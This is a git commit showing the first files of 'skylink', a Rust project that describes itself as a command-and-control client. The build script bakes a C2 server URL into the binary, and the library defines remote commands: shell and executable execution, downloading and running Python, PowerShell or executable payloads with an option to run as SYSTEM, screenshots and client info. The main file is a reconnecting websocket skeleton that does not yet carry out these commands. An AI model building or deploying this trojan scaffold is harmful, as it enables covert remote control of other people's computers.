init: basic foundation
This commit is contained in:
commit
df22b0bd5e
10 changed files with 231 additions and 0 deletions
4
.gitignore
vendored
Normal file
4
.gitignore
vendored
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
/target
|
||||||
|
Cargo.lock
|
||||||
|
flake.lock
|
||||||
|
.env
|
||||||
24
Cargo.toml
Normal file
24
Cargo.toml
Normal file
|
|
@ -0,0 +1,24 @@
|
||||||
|
[package]
|
||||||
|
name = "skylink"
|
||||||
|
version = "1.0.0"
|
||||||
|
edition = "2024"
|
||||||
|
build = "build.rs"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] }
|
||||||
|
tokio-tungstenite = "0.28"
|
||||||
|
reqwest = "0.12"
|
||||||
|
serde = "1.0"
|
||||||
|
serde_json = "1.0"
|
||||||
|
windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE OR THE BUILD WILL BREAK
|
||||||
|
"Win32_Foundation",
|
||||||
|
"Win32_System_Com",
|
||||||
|
"Win32_System_Com_Marshal",
|
||||||
|
"Win32_System_Threading"
|
||||||
|
]}
|
||||||
|
anyhow = "1.0.100"
|
||||||
|
futures-util = "0.3.31"
|
||||||
|
|
||||||
|
[build-dependencies]
|
||||||
|
dotenv = "0.15.0"
|
||||||
|
winresource = "0.1"
|
||||||
15
LICENSE
Normal file
15
LICENSE
Normal file
|
|
@ -0,0 +1,15 @@
|
||||||
|
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||||
|
Version 2, December 2004
|
||||||
|
|
||||||
|
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
|
||||||
|
|
||||||
|
Everyone is permitted to copy and distribute verbatim or modified
|
||||||
|
copies of this license document, and changing it is allowed as long
|
||||||
|
as the name is changed.
|
||||||
|
|
||||||
|
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||||
|
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||||
|
|
||||||
|
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||||
|
|
||||||
|
|
||||||
17
build.rs
Normal file
17
build.rs
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
use dotenv::dotenv;
|
||||||
|
use std::env;
|
||||||
|
use winresource;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
// Bake C2 server URL into client at build time
|
||||||
|
dotenv().ok();
|
||||||
|
println!("cargo:rerun-if-changed=.env");
|
||||||
|
let c2_server = env::var("C2_SERVER_URL").expect("C2 Server not defined in .env");
|
||||||
|
println!("cargo:rustc-env=C2_SERVER_URL={}", c2_server);
|
||||||
|
|
||||||
|
// Windows compile shit.
|
||||||
|
if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" {
|
||||||
|
let res = winresource::WindowsResource::new();
|
||||||
|
res.compile().unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
61
flake.lock
generated
Normal file
61
flake.lock
generated
Normal file
|
|
@ -0,0 +1,61 @@
|
||||||
|
{
|
||||||
|
"nodes": {
|
||||||
|
"flake-utils": {
|
||||||
|
"inputs": {
|
||||||
|
"systems": "systems"
|
||||||
|
},
|
||||||
|
"locked": {
|
||||||
|
"lastModified": 1731533236,
|
||||||
|
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
|
||||||
|
"owner": "numtide",
|
||||||
|
"repo": "flake-utils",
|
||||||
|
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
"original": {
|
||||||
|
"owner": "numtide",
|
||||||
|
"repo": "flake-utils",
|
||||||
|
"type": "github"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"nixpkgs": {
|
||||||
|
"locked": {
|
||||||
|
"lastModified": 1762844143,
|
||||||
|
"narHash": "sha256-SlybxLZ1/e4T2lb1czEtWVzDCVSTvk9WLwGhmxFmBxI=",
|
||||||
|
"owner": "nixos",
|
||||||
|
"repo": "nixpkgs",
|
||||||
|
"rev": "9da7f1cf7f8a6e2a7cb3001b048546c92a8258b4",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
"original": {
|
||||||
|
"owner": "nixos",
|
||||||
|
"ref": "nixos-unstable",
|
||||||
|
"repo": "nixpkgs",
|
||||||
|
"type": "github"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"root": {
|
||||||
|
"inputs": {
|
||||||
|
"flake-utils": "flake-utils",
|
||||||
|
"nixpkgs": "nixpkgs"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"systems": {
|
||||||
|
"locked": {
|
||||||
|
"lastModified": 1681028828,
|
||||||
|
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
|
||||||
|
"owner": "nix-systems",
|
||||||
|
"repo": "default",
|
||||||
|
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
"original": {
|
||||||
|
"owner": "nix-systems",
|
||||||
|
"repo": "default",
|
||||||
|
"type": "github"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"root": "root",
|
||||||
|
"version": 7
|
||||||
|
}
|
||||||
17
flake.nix
Normal file
17
flake.nix
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
{
|
||||||
|
description = "Skylink";
|
||||||
|
|
||||||
|
inputs = {
|
||||||
|
nixpkgs.url = "github:nixos/nixpkgs?ref=nixos-unstable";
|
||||||
|
flake-utils.url = "github:numtide/flake-utils";
|
||||||
|
};
|
||||||
|
|
||||||
|
outputs = { self, nixpkgs, flake-utils }:
|
||||||
|
flake-utils.lib.eachDefaultSystem
|
||||||
|
(system:
|
||||||
|
let pkgs = nixpkgs.legacyPackages.${system}; in
|
||||||
|
{
|
||||||
|
devShells.default = import ./shell.nix { inherit pkgs; };
|
||||||
|
}
|
||||||
|
);
|
||||||
|
}
|
||||||
2
rustfmt.toml
Normal file
2
rustfmt.toml
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
tab_spaces = 2
|
||||||
|
|
||||||
14
shell.nix
Normal file
14
shell.nix
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
{ pkgs ? import <nixpkgs> {} }:
|
||||||
|
with pkgs;
|
||||||
|
mkShell {
|
||||||
|
buildInputs = [
|
||||||
|
pkgsCross.mingwW64.buildPackages.gcc
|
||||||
|
pkgsCross.mingwW64.buildPackages.glibc
|
||||||
|
rustup
|
||||||
|
libpthread-stubs
|
||||||
|
pkg-config
|
||||||
|
openssl
|
||||||
|
];
|
||||||
|
CARGO_TARGET_X86_64_PC_WINDOWS_GNU_RUSTFLAGS = "-L native=${pkgs.pkgsCross.mingwW64.windows.pthreads}/lib";
|
||||||
|
|
||||||
|
}
|
||||||
28
src/lib.rs
Normal file
28
src/lib.rs
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize)]
|
||||||
|
pub enum PayloadType {
|
||||||
|
Executable,
|
||||||
|
Python,
|
||||||
|
Powershell,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize)]
|
||||||
|
pub struct DnxParams<'a> {
|
||||||
|
pub url: &'a str,
|
||||||
|
pub name: &'a str,
|
||||||
|
pub args: &'a str,
|
||||||
|
pub run_as_system: bool,
|
||||||
|
pub file_type: PayloadType,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize)]
|
||||||
|
pub enum Command<'a> {
|
||||||
|
RunCMD { command: &'a str },
|
||||||
|
URunCMD { command: &'a str },
|
||||||
|
RunExe { path: &'a str, args: &'a str },
|
||||||
|
URunExe { path: &'a str, args: &'a str },
|
||||||
|
ClientInfo,
|
||||||
|
Dnx { params: DnxParams<'a> },
|
||||||
|
Screenshot,
|
||||||
|
}
|
||||||
49
src/main.rs
Normal file
49
src/main.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
||||||
|
use futures_util::stream::StreamExt;
|
||||||
|
use skylink::{Command, DnxParams, PayloadType};
|
||||||
|
|
||||||
|
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
|
||||||
|
// weird barely detectable bug pops up, as LLMs tend to generate.
|
||||||
|
async fn websocket_handler() {
|
||||||
|
use std::time::Duration;
|
||||||
|
use tokio_tungstenite::connect_async;
|
||||||
|
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||||
|
|
||||||
|
let url = "ws://127.0.0.1:8080";
|
||||||
|
loop {
|
||||||
|
match connect_async(url).await {
|
||||||
|
Ok(ws_stream_tuple) => {
|
||||||
|
println!("[i] Connected via websocket."); // TODO Use logger over println
|
||||||
|
let (mut ws_stream, _) = ws_stream_tuple;
|
||||||
|
while let Some(msg) = ws_stream.next().await {
|
||||||
|
match msg {
|
||||||
|
Ok(Message::Text(text)) => {
|
||||||
|
println!("{}", &text);
|
||||||
|
}
|
||||||
|
Ok(Message::Close(_)) => {
|
||||||
|
println!("[i] Disconnected.");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("Error receiving message: {:?}", e);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
// Ignore other message types
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("[e] Failed to connect: {:?}", e); // TODO logger > println
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("[i] Connection lost, reconnecting in 5 seconds...");
|
||||||
|
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
websocket_handler().await;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue